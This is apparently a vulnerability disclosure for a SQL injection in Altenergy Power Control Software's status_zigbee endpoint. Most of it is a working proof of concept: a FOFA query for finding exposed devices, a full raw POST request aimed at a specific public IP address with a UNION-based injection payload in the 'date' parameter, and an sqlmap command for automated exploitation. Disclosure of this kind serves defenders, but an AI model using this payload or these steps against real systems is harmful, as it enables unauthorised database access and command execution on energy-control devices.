# Altenergy has a SQL injection vulnerability

## **Vulnerability details**

Altenergy has a SQL injection vulnerability, which can be exploited by attackers to perform arbitrary operations on the database and execute arbitrary commands.

# **Vulnerability location**

/index.php/display/status\_zigbee

### **Vulnerability recurrence**

fofa title="Altenergy Power Control Software"

Through code audit, it was found that the function get\_status\_zigbee did not filter the value of the passed parameter date, resulting in a SQL injection vulnerability.

POST /index.php/display/status\_zigbee HTTP/1.1

Host: 179.48.119.105:8097

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101

Firefox/132.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 246

Origin: http://179.48.119.105:8097

Sec-GPC: 1

Connection: close

Referer: http://179.48.119.105:8097/index.php/display/status\_zigbee

Cookie:

ci\_session=a%3A6%3A%7Bs%3A10%3A%22session\_id%22%3Bs%3A32%3A%22d6cbdc2c0edf23f8452b142e928dfec4%22%3Bs%3A10%3A%22ip\_address%22%3Bs%3A13%3A%22191.96.206.18%22%3Bs%3A10%3A%22user\_agent%22%3Bs%3A84%3A%22Mozilla%2F5.0+%28Macintosh%3B+Intel+Mac+OS+X+10.15%3B+rv%3A132.0%29+Gecko%2F20100101+Firefox%2F132.0%22%3Bs%3A13%3A%22last\_activity%22%3Bi%3A1730908101%3Bs%3A9%3A%22user\_data%22%3Bs%3A0%3A%22%22%3Bs%3A9%3A%22logged\_in%22%3Bb%3A0%3B%7D0340dfd493b53397d1ba3a564d5aabc6ef0d9110

Upgrade-Insecure-Requests: 1

X-Forwarded-For: 0000:0000:0000::0000
X-Originating-IP: 0000:0000:0000::0000
X-Remote-IP: 0000:0000:0000::0000
X-Remote-Addr: 0000:0000:0000::0000

Priority: u=0, i

date=2024-11-06%' UNION ALL SELECT 11,CHAR(113,106,106,113,113)||CHAR(75,101,86,69,115,83,113,89,100,122,121,102,83,83,113, 86,84,112,100,103,69,75,80,117,88,109,83,105,89,116,110,120,76,84,73,109,115,100,83,107)|| CHAR(113,118,98,98,113),11-- wPIB

#### Case 1:

URL: http://179.48.119.105:8097/index.php/display/status\_zigbee use SQLMap sqlmap -r sql.txt --risk 3 --level 3 --random-agent --batch

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